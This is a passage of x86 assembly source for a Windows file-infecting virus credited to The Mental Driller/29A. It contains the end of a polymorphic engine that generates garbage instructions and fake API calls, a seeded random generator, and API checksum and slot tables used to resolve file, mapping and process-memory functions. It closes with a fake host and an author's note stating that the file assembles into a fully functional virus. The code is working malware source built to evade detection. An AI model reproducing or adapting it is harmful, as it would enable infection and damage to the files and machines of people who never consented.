@@AddByte:
|
||
or ah, 40h
|
||
stosw
|
||
mov eax, ecx
|
||
stosb
|
||
@@Continue:
|
||
mov al, byte ptr [ebp+esi+APIInfo+0Bh]
|
||
or al, al
|
||
jz @@Check0
|
||
cmp al, 2
|
||
jb @@CheckMinus1
|
||
ja @@NoCheck
|
||
@@CheckBoolean:
|
||
call RandomFlags
|
||
jz @@Check0
|
||
mov al, 3Dh
|
||
stosb
|
||
mov eax, 1
|
||
stosd
|
||
jmp @@MakeCondJump
|
||
@@Check0: call Random
|
||
and al, 3
|
||
jz @@Check0
|
||
cmp al, 2
|
||
jb @@OR
|
||
jz @@AND
|
||
@@TEST: mov ax, 0C085h
|
||
stosw
|
||
jmp @@MakeCondJump
|
||
@@OR: mov ax, 0C009h
|
||
stosw
|
||
jmp @@MakeCondJump
|
||
@@AND: mov ax, 0C021h
|
||
stosw
|
||
jmp @@MakeCondJump
|
||
|
||
@@CheckMinus1:
|
||
mov al, 3Dh
|
||
stosb
|
||
mov eax, -1
|
||
stosd
|
||
@@MakeCondJump:
|
||
@@CJ_Again:
|
||
call RandomFlags
|
||
jz @@MakeJZ
|
||
mov al, 75h ; JNZ
|
||
jmp @@MakeJump
|
||
@@MakeJZ: mov al, 74h ; JZ
|
||
@@MakeJump: stosb
|
||
inc edi ; Leave space for the displacement
|
||
@@CJ_Again3:
|
||
push dword ptr [ebp+CallsLevel1Ndx] ; Save the indexes of
|
||
push dword ptr [ebp+CallsLevel2Ndx] ; the calls. If we have
|
||
push dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
|
||
; because it's too long, we have to restore
|
||
; this to not set any inexistent CALL dis-
|
||
; placement over other code that's not a
|
||
; CALL
|
||
@@CJ_Again2:
|
||
mov esi, edi ; Save the actual storage index
|
||
call DoRandomGarbage ; Make garbage
|
||
sub esi, edi ; Get the (-)displacement of the jump
|
||
jz @@CJ_Again2 ; If it's zero, loop to make garbage
|
||
neg esi ; Calculate true displacement
|
||
cmp esi, 7Fh ; Does it overpass the limit for displac.?
|
||
jbe @@CJ_OK ; If not, jump and continue
|
||
pop dword ptr [ebp+CallsLevel3Ndx] ; Restore this, elimi-
|
||
pop dword ptr [ebp+CallsLevel2Ndx] ; nating any created
|
||
pop dword ptr [ebp+CallsLevel1Ndx] ; call before
|
||
sub edi, esi ; Restore EDI...
|
||
jmp @@CJ_Again3 ; ...and repeat the garbage generation
|
||
; Here if the size of the garbage is correct
|
||
@@CJ_OK: pop eax ; Release the data in stack
|
||
pop eax
|
||
pop eax
|
||
mov eax, esi ; Put the displacement in AL
|
||
neg esi ; Calculate the distance until the opcode
|
||
mov byte ptr [edi+esi-1], al ; Set the displacement in
|
||
; the opcode
|
||
@@NoCheck:
|
||
call APICall_RestoreStack
|
||
|
||
@@End: mov byte ptr [ebp+ImInAPI], 0
|
||
@@End2: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
InsertAPICall endp
|
||
|
||
APICall_StackOrder db 0
|
||
APICall_StackedRegs db 0, 0, 0
|
||
|
||
ImInAPI db 0
|
||
AnyAPIFound db 0
|
||
FirstAPICall db 0
|
||
|
||
APICall_SaveEAX proc
|
||
pushad
|
||
xor dl, dl
|
||
jmp APICall_SaveReg_Common
|
||
APICall_SaveEAX endp
|
||
|
||
APICall_SaveECX proc
|
||
pushad
|
||
mov dl, 1
|
||
jmp APICall_SaveReg_Common
|
||
APICall_SaveECX endp
|
||
|
||
APICall_SaveEDX proc
|
||
pushad
|
||
mov dl, 2
|
||
APICall_SaveReg_Common:
|
||
cmp byte ptr [ebp+Index1Register], dl
|
||
jz @@SaveReg
|
||
cmp byte ptr [ebp+Index2Register], dl
|
||
jz @@SaveReg
|
||
cmp byte ptr [ebp+BufferRegister], dl
|
||
jnz @@NoRegister
|
||
@@SaveReg:
|
||
movzx eax, byte ptr [ebp+APICall_StackOrder]
|
||
mov [ebp+eax+APICall_StackedRegs], dl
|
||
inc eax
|
||
mov [ebp+APICall_StackOrder], al
|
||
call DoPUSHReg
|
||
@@NoRegister:
|
||
call DoRandomGarbage
|
||
mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
APICall_SaveEDX endp
|
||
|
||
PushParameter proc
|
||
pushad
|
||
cmp al, 1
|
||
jb @@End
|
||
jz @@Random
|
||
cmp al, 3
|
||
jb @@Handle
|
||
jz @@Buffer
|
||
cmp al, 5
|
||
jb @@BufferSize
|
||
jz @@Byte
|
||
cmp al, 7
|
||
jb @@Flags
|
||
jz @@Null
|
||
cmp al, 9
|
||
jb @@VirtualPointer
|
||
@@VirtualSize:
|
||
mov al, 6Ah
|
||
stosb
|
||
call Random
|
||
and eax, 0Fh
|
||
add eax, 10h
|
||
stosb
|
||
jmp @@End
|
||
@@VirtualPointer:
|
||
mov al, 68h
|
||
stosb
|
||
call Random
|
||
and eax, 3FE0h
|
||
add eax, [ebp+EncryptedDataBeginAddress]
|
||
stosd
|
||
jmp @@End
|
||
@@Random: call Random
|
||
cmp eax, 7Fh
|
||
jbe @@RandomByte
|
||
cmp eax, 0FFFFFF80h
|
||
jae @@RandomByte
|
||
push eax
|
||
mov al, 68h
|
||
stosb
|
||
pop eax
|
||
stosd
|
||
jmp @@End
|
||
@@RandomByte:
|
||
push eax
|
||
mov al, 6Ah
|
||
stosb
|
||
pop eax
|
||
stosb
|
||
jmp @@End
|
||
@@Handle:
|
||
mov al, 68h
|
||
stosb
|
||
xor edx, edx
|
||
call Random
|
||
and eax, 1Fh
|
||
bts edx, eax
|
||
call Random
|
||
and eax, 1Fh
|
||
bts edx, eax
|
||
call Random
|
||
and eax, 1Fh
|
||
bts edx, eax
|
||
call Random
|
||
and eax, 07h
|
||
or eax, edx
|
||
stosd
|
||
jmp @@End
|
||
@@Buffer: call SelectAnAddressHigh
|
||
mov al, 68h
|
||
stosb
|
||
mov eax, ebx
|
||
stosd
|
||
jmp @@End
|
||
@@BufferSize:
|
||
mov al, 6Ah
|
||
stosb
|
||
call Random
|
||
and al, 1Fh
|
||
or al, 20h
|
||
and ah, 4
|
||
add al, ah
|
||
stosb
|
||
jmp @@End
|
||
@@Byte: mov al, 68h
|
||
stosb
|
||
call Random
|
||
and eax, 0FFh
|
||
cmp eax, 7Fh
|
||
jbe @@ByteByte
|
||
stosd
|
||
jmp @@End
|
||
@@ByteByte:
|
||
mov byte ptr [edi-1], 6Ah
|
||
stosb
|
||
jmp @@End
|
||
@@Null: mov ax, 006Ah
|
||
stosw
|
||
jmp @@End
|
||
@@Flags: xor edx, edx
|
||
call Random
|
||
and eax, 1Fh
|
||
bts edx, eax
|
||
call Random
|
||
and eax, 1Fh
|
||
bts edx, eax
|
||
call Random
|
||
and eax, 1Fh
|
||
bts edx, eax
|
||
mov al, 68h
|
||
stosb
|
||
mov eax, edx
|
||
stosd
|
||
@@End: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
PushParameter endp
|
||
|
||
APICall_RestoreStack proc
|
||
pushad
|
||
movzx eax, [ebp+APICall_StackOrder]
|
||
or eax, eax
|
||
jz @@End
|
||
@@Loop01: dec eax
|
||
js @@End
|
||
mov dl, [ebp+eax+APICall_StackedRegs]
|
||
push eax
|
||
call DoPOPReg
|
||
call DoRandomGarbage
|
||
pop eax
|
||
jmp @@Loop01
|
||
@@End: mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
APICall_RestoreStack endp
|
||
|
||
;; API information
|
||
;; Each API information has the next format:
|
||
;;
|
||
;; +00: Checksum of API name (DWORD)
|
||
;; +04: Virtual address that will have in file, 0 if not available/imported
|
||
;; +08-09-0A: Parameters in standard order (in reverse-PUSHing order):
|
||
;; 0=No parameter (last one)
|
||
;; 1=Random number
|
||
;; 2=Pseudo-handle
|
||
;; 3=Buffer address (beware with frame)
|
||
;; 4=Buffer size
|
||
;; 5=Number between 0 and 255
|
||
;; 6=Pseudo-flags
|
||
;; 7=NULL
|
||
;; 8=Any virtual address (for IsBad* funcs)
|
||
;; 9=Virtual size (for IsBad* funcs)
|
||
;; +0B: byte: Value returning check: 0=0, 1=-1, 2=Boolean, 3=Void or random
|
||
;; (no check)
|
||
;; +0C: Reserved
|
||
;;
|
||
|
||
APIInfo label dword ;; There are 32 API information blocks, ordered
|
||
;; DWORD GetCommandLineaA(void) ; in frequency of use (in my opinion) in an
|
||
dd 009654E3h, 0 ; application
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; void GetStartupInfoA(Pointer)
|
||
dd 009DB67Fh, 0
|
||
db 3, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetEnvironmentStrings(void)
|
||
dd 14F02D92h, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetVersion(void)
|
||
dd 00217C32h, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetModuleHandleA(Pointer)
|
||
dd 0FFFFFFFFh, 0 ; dd 0005CD63h, 0
|
||
db 3, 0, 0, 0 ; Disabled. The fucking Windblows hangs the program
|
||
dd 0 ; if there is any problem with the pointer, instead of
|
||
; returning an error
|
||
;; DWORD GetModuleFileNameA(Handle,Buffer,Buffer_Size)
|
||
dd 00B83717h, 0
|
||
db 2, 3, 4, 0
|
||
dd 0
|
||
;; DWORD MulDiv(Random,Random,Random)
|
||
dd 000007EAh, 0
|
||
db 1, 1, 1, 1
|
||
dd 0
|
||
;; DWORD GetACP(void)
|
||
dd 00000BEBh, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetOEMCP(void)
|
||
dd 000090CBh, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetCPInfo(CodePage,Buffer)
|
||
dd 0004C11Fh, 0
|
||
db 5, 3, 0, 0
|
||
dd 0
|
||
;; DWORD GetStdHandle(Flags)
|
||
dd 00004C91h, 0
|
||
db 6, 0, 0, 1
|
||
dd 0
|
||
;; DWORD GetLastError(void)
|
||
dd 0038408Eh, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; void GetLocalTime(Buffer)
|
||
dd 00037E63h, 0
|
||
db 3, 0, 0, 3
|
||
dd 0
|
||
;; void GetSystemInfo(Buffer)
|
||
dd 0125711Fh, 0
|
||
db 3, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetCurrentProcess(void)
|
||
dd 46C8D729h, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetCurrentProcessID(void)
|
||
dd 8D91AE5Fh, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetCurrentThread(void)
|
||
dd 0048DF27h, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetCurrentThreadID(void)
|
||
dd 0091BE43h, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetConsoleCP(void)
|
||
dd 025AF28Bh, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD GetCurrentDirectoryA(Buffer_Size,Buffer)
|
||
dd 2369A80Ah, 0
|
||
db 4, 3, 0, 0
|
||
dd 0
|
||
;; DWORD GetWindowsDirectoryA(Buffer,Buffer_Size)
|
||
dd 6D1CE819h, 0
|
||
db 3, 4, 0, 0
|
||
dd 0
|
||
;; DWORD GetSystemDirectoryA(Buffer,Buffer_Size)
|
||
dd 4948E80Bh, 0
|
||
db 3, 4, 0, 0
|
||
dd 0
|
||
;; DWORD GetDriveTypeA(NULL)
|
||
dd 00019307h, 0
|
||
db 7, 0, 0, 3
|
||
dd 0
|
||
;; BOOL GetComputerNameA(Buffer,Buffer_Size)
|
||
dd 012DB157h, 0
|
||
db 3, 4, 0, 2
|
||
dd 0
|
||
;; BOOL IsBadWritePtr(Buffer,Buffer_Size)
|
||
dd 0022A17Eh, 0
|
||
db 8, 9, 0, 2
|
||
dd 0
|
||
;; DWORD GetTickCount(void)
|
||
dd 00F97476h, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; BOOL IsBadReadPtr(Buffer,Buffer_Size)
|
||
dd 000450BEh, 0
|
||
db 8, 9, 0, 2
|
||
dd 0
|
||
;; BOOL IsBadCodePtr(Buffer)
|
||
dd 0022A3EEh, 0
|
||
db 8, 0, 0, 2
|
||
dd 0
|
||
;; DWORD GetCurrentFiber(void)
|
||
dd 048DC056h, 0
|
||
db 0, 0, 0, 3
|
||
dd 0
|
||
;; DWORD LocalHandle(Address)
|
||
dd 00020491h, 0
|
||
db 8, 0, 0, 0
|
||
dd 0
|
||
;; DWORD LocalSize(Address)
|
||
dd 00101B69h, 0
|
||
db 8, 0, 0, 0
|
||
dd 0
|
||
;; DWORD LocalFlags(Handle)
|
||
dd 00040780Bh, 0
|
||
db 2, 0, 0, 1
|
||
dd 0
|
||
|
||
|
||
;; This function calls in a random order to the addresses of the functions
|
||
;; passed in EBX, ECX, EDX and ESI. It exchanges randomly its values among
|
||
;; them to get a random order, and after that pushes in the stack all this
|
||
;; addresses, so when the called functions return, the next function take
|
||
;; control, and in last terme the return of this function is complete (it's
|
||
;; the same than doing CALL EBX/CALL ECX/CALL EDX/CALL ESI/RET in the part
|
||
;; where we push the addresses, but pushing them we save bytes and we haven't
|
||
;; to save the register values).
|
||
RandomCalling proc
|
||
mov eax, 5 ; Do the garbling 5 times
|
||
@@J_00: call RandomFlags ; Get random ZF, SF, CF and PF
|
||
jz @@J_01 ; Jump if ZF
|
||
xchg ebx, ecx ; Exchange
|
||
@@J_01: js @@J_02 ; Jump if SF
|
||
xchg ecx, edx ; Exchange
|
||
@@J_02: jc @@J_03 ; Jump if CF
|
||
xchg edx, esi ; Exchange
|
||
@@J_03: jp @@J_04 ; Jump if JP
|
||
xchg esi, ebx ; Exchange
|
||
@@J_04: dec eax
|
||
jnz @@J_00 ; Repeat 5 times
|
||
push ebx ; Push all garbled addresses
|
||
push ecx
|
||
push edx
|
||
jmp esi ; Jump here and conserve the return address
|
||
RandomCalling endp
|
||
|
||
;; One of the most used functions in the engine. I think it's idea of Vecna
|
||
;; in one of his viruses. You get a random number and you save this random
|
||
;; as flags, so you have random flags to use with conditional jumps, getting
|
||
;; the same effect as CALL Random/AND AL,1/JZ xxx, but more optimized and with
|
||
;; more flags to use. Since SAHF only saves the general purpose flags, the
|
||
;; ones that can be modified with CMP (for example), we are sure that others
|
||
;; like IF or TF (important ones) are not modified.
|
||
RandomFlags proc
|
||
push eax ; Save EAX
|
||
call Random ; Get a random number in AH
|
||
sahf ; Load it in the flags register
|
||
pop eax ; Restore EAX
|
||
ret ; Return
|
||
RandomFlags endp
|
||
|
||
|
||
;; The random generator. I use this routine since MeDriPolEn, and it had a 48
|
||
;; bits seed which generated near a perfect random sequence. Now it's conver-
|
||
;; ted to 32 bits, so it has a 96 bits seed (!!! - outstanding!).
|
||
Random proc
|
||
push ecx ; Save register
|
||
mov eax, [ebp+DwordAleatorio1] ; Get 1st seed
|
||
dec dword ptr [ebp+DwordAleatorio1] ; Decrease to avoid linearity
|
||
xor eax, [ebp+DwordAleatorio2] ; XOR with 2nd seed
|
||
mov ecx, eax ; Result in CL
|
||
rol dword ptr [ebp+DwordAleatorio1], cl ; ROL the 1st seed CL
|
||
; times (random)
|
||
add [ebp+DwordAleatorio1], eax ; Add (1st XOR 2nd) to 1st
|
||
adc eax, [ebp+DwordAleatorio2] ; Add the 2nd seed to (1st XOR 2nd)
|
||
; with CF (random CF at the moment)
|
||
add eax, ecx ; EAX=(1st XOR 2nd)+2nd+CF
|
||
ror eax, cl ; EAX=EAX ROL (byte)(1st XOR 2nd)
|
||
not eax ; NOT (this breaks a possible proximity)
|
||
sub eax, 3 ; Subtract odd constant (break the linearity)
|
||
xor [ebp+DwordAleatorio2], eax ; Modify 2nd seed
|
||
xor eax, [ebp+DwordAleatorio3] ; XOR 3rd seed with the until-this-
|
||
; moment result
|
||
rol dword ptr [ebp+DwordAleatorio3], 1 ; Modify 3rd seed (ROL)...
|
||
sub dword ptr [ebp+DwordAleatorio3], ecx ; ...and with a 1st/2nd
|
||
; seed dependant variable
|
||
sbb dword ptr [ebp+DwordAleatorio3], 4 ; Subtract a constant value
|
||
; that could be 4 or 5
|
||
inc dword ptr [ebp+DwordAleatorio2] ; Break linearity on 2nd seed
|
||
pop ecx ; Restore register
|
||
ret ; Return
|
||
Random endp
|
||
|
||
SystemTimeReceiver label dword ; Here we put what the API GetSystemTime
|
||
DwordAleatorio1 dd 12345678h ; returns. Then we put DwordAleatorio3 as
|
||
DwordAleatorio2 dd 9ABCDEF0h ; a modification of DwordAleatorio1 and 2,
|
||
DwordAleatorio3 dd 97654321h
|
||
;dd 87654321h ; which are Year/Month/Day of the week/Day,
|
||
dd 0 ; so it's day-dependant (slow polymorphism)
|
||
dd 0 ; This variables to 0 are to make space for
|
||
; the function return values
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
; End of TUAREG
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;ËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËË;
|
||
;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ;
|
||
|
||
|
||
;; These are the checksums of the API names. The checksum is calculated with:
|
||
;; XOR EAX,EAX
|
||
;; MOV ESI,offset String
|
||
;;Loop:
|
||
;; MOV CL,[ESI]
|
||
;; AND CL,3
|
||
;; ROL EAX,CL
|
||
;; XOR AL,[ESI]
|
||
;; INC ESI
|
||
;; CMP BYTE PTR [ESI],0
|
||
;; JNZ Loop
|
||
;;
|
||
;; Which I think is quite variable and in theory it wouldn't make any problem
|
||
;; of coincidences, since it's quite variable in the result.
|
||
;; Then, the results of making this checksums (or whatever it is) to the
|
||
;; API names are as follows:
|
||
CRC_APIs label dword
|
||
CRC_GetProcAddress dd 0342CDABh
|
||
CRC_CreateFileA dd 000147CFh
|
||
CRC_CreateProcessA dd 0A64AE17h
|
||
CRC_FindFirstFileA dd 0070244Fh
|
||
CRC_FindNextFileA dd 0003820Fh
|
||
CRC_GetFileAttributesA dd 008AEB57h
|
||
CRC_SetFileAttributesA dd 00A2EB57h
|
||
CRC_GetFullPathNameA dd 00023117h
|
||
CRC_MoveFileA dd 0002148Fh
|
||
CRC_CopyFileA dd 00008C4Fh
|
||
CRC_DeleteFileA dd 00004ACFh
|
||
CRC_WinExec dd 00006EDBh
|
||
CRC__lopen dd 00000DC2h
|
||
CRC_MoveFileExA dd 000429A7h
|
||
CRC_OpenFile dd 00000157h
|
||
CRC_ExitProcess dd 0014572Bh
|
||
|
||
CRC_WriteProcessMemory dd 0A8AE3121h
|
||
CRC_GetCurrentProcess dd 46C8D729h
|
||
CRC_CreateFileMappingA dd 0147EFAFh
|
||
CRC_MapViewOfFile dd 00950AD7h
|
||
CRC_UnmapViewOfFile dd 043D0AD7h
|
||
CRC_CloseHandle dd 00011811h
|
||
CRC_SetFilePointer dd 0014B9D6h
|
||
CRC_GetFileTime dd 00004783h
|
||
CRC_SetFileTime dd 00005383h
|
||
CRC_GetWindowsDirectoryA dd 6D1CE819h
|
||
CRC_GetCurrentDirectoryA dd 2369A80Ah
|
||
CRC_SetCurrentDirectoryA dd 7369A80Ah
|
||
CRC_GetSystemDirectoryA dd 4948E80Bh
|
||
CRC_GetSystemTime dd 00092963h
|
||
CRC_LoadLibraryA dd 0011B62Bh
|
||
CRC_FindClose dd 000E69F3h
|
||
CRC_WriteFile dd 00004F07h
|
||
CRC_FreeLibrary dd 000AE335h
|
||
dd 0 ; This signalizes the end of the APIs
|
||
|
||
;; This is the space that we use to store the addresses to the API functions.
|
||
FunctionsToPatch label dword
|
||
RVA_GetProcAddress dd 0 ; This first 15 are used for per-process
|
||
RVA_CreateFileA dd 0 ; residency
|
||
RVA_CreateProcessA dd 0
|
||
RVA_FindFirstFileA dd 0
|
||
RVA_FindNextFileA dd 0
|
||
RVA_GetFileAttributesA dd 0
|
||
RVA_SetFileAttributesA dd 0
|
||
RVA_GetFullPathNameA dd 0
|
||
RVA_MoveFileA dd 0
|
||
RVA_CopyFileA dd 0
|
||
RVA_DeleteFileA dd 0
|
||
RVA_WinExec dd 0
|
||
RVA__lopen dd 0
|
||
RVA_MoveFileExA dd 0
|
||
RVA_OpenFile dd 0
|
||
RVA_ExitProcess dd 0
|
||
|
||
RVA_WriteProcessMemory dd 0
|
||
RVA_GetCurrentProcess dd 0
|
||
RVA_CreateFileMappingA dd 0
|
||
RVA_MapViewOfFile dd 0
|
||
RVA_UnmapViewOfFile dd 0
|
||
RVA_CloseHandle dd 0
|
||
RVA_SetFilePointer dd 0
|
||
RVA_GetFileTime dd 0
|
||
RVA_SetFileTime dd 0
|
||
RVA_GetWindowsDirectoryA dd 0
|
||
RVA_GetCurrentDirectoryA dd 0
|
||
RVA_SetCurrentDirectoryA dd 0
|
||
RVA_GetSystemDirectoryA dd 0
|
||
RVA_GetSystemTime dd 0
|
||
RVA_LoadLibraryA dd 0
|
||
RVA_FindClose dd 0
|
||
RVA_WriteFile dd 0
|
||
RVA_FreeLibrary dd 0
|
||
|
||
NumberOfFunctions equ ($ - offset FunctionsToPatch) / 4
|
||
|
||
align 4 ; Align (for memory accesses in the decryptor)
|
||
|
||
SystemTime label dword
|
||
Year dw 0
|
||
Month dw 0
|
||
DayOfWeek dw 0
|
||
Day dw 0
|
||
Hours dw 0
|
||
Minutes dw 0
|
||
Seconds dw 0
|
||
Miliseconds dw 0
|
||
|
||
org SystemTime
|
||
|
||
FindFileField label dword
|
||
FileAttributes dd 0
|
||
CreationTime dd 0
|
||
dd 0
|
||
LastAccessTime dd 0
|
||
dd 0
|
||
LastWriteTime dd 0
|
||
dd 0
|
||
FileSizeHigh dd 0
|
||
FileSizeLow dd 0
|
||
Reserved dd 0
|
||
dd 0
|
||
FileName db 104h dup (0)
|
||
AlternateFileName db 10h dup (0)
|
||
FindFileFieldSize equ $ - offset FindFileField
|
||
|
||
FileTime dd 0
|
||
dd 0
|
||
dd 0
|
||
dd 0
|
||
dd 0
|
||
dd 0
|
||
dd 0
|
||
dd 0
|
||
|
||
align 4 ; Align on a 4-byte boundary to give the virus
|
||
; a size multiple of 4
|
||
End_Virus label dword
|
||
;; The virus ends here
|
||
|
||
;; This is a fake host that only says that you have been infected and then
|
||
;; you are stupid for playing with files of unknown source :P (only first
|
||
;; generation!)
|
||
FakedHost: push 0
|
||
push offset Titulo
|
||
push offset Mensaje
|
||
push 0
|
||
call MessageBoxA
|
||
push 0
|
||
call ExitProcess
|
||
|
||
db 10000h dup (90h) ; Complete to avoid exceptions when
|
||
; zeroing on first generation
|
||
|
||
end TuaregMain ; End directive
|
||
|
||
It's curious, but when you put the END directive under TASM, you can write
|
||
whatever you want after it and it won't be considered (I'm writing without
|
||
semicolons! :)
|
||
|
||
dsadjshajkdhsajkd
|
||
dsa
|
||
fds
|
||
fds
|
||
afdsa :P
|
||
|
||
(c)The Mental Driller/29A, somewhen on November, 2000
|
||
|
||
This code is only for research and educational purposes. The assembling of
|
||
this file will produce a fully functional virus, so you have been warned! If
|
||
this kind of material is illegal in your country or state, you should remove
|
||
it from your computer. The author of this virus declines any illegal activity
|
||
including possesion and/or spreading by the possesor of the virus sourced
|
||
here. The spreading of this virus could save any life that receives the money
|
||
of anyone who got his/her web start page changed and used the
|
||
http://www.thehungersite.com donation services, but since the spreading is
|
||
illegal in the majority of the world, theorically this virus should not be
|
||
spreaded. So, do what you want :), but I'm not responsible.
|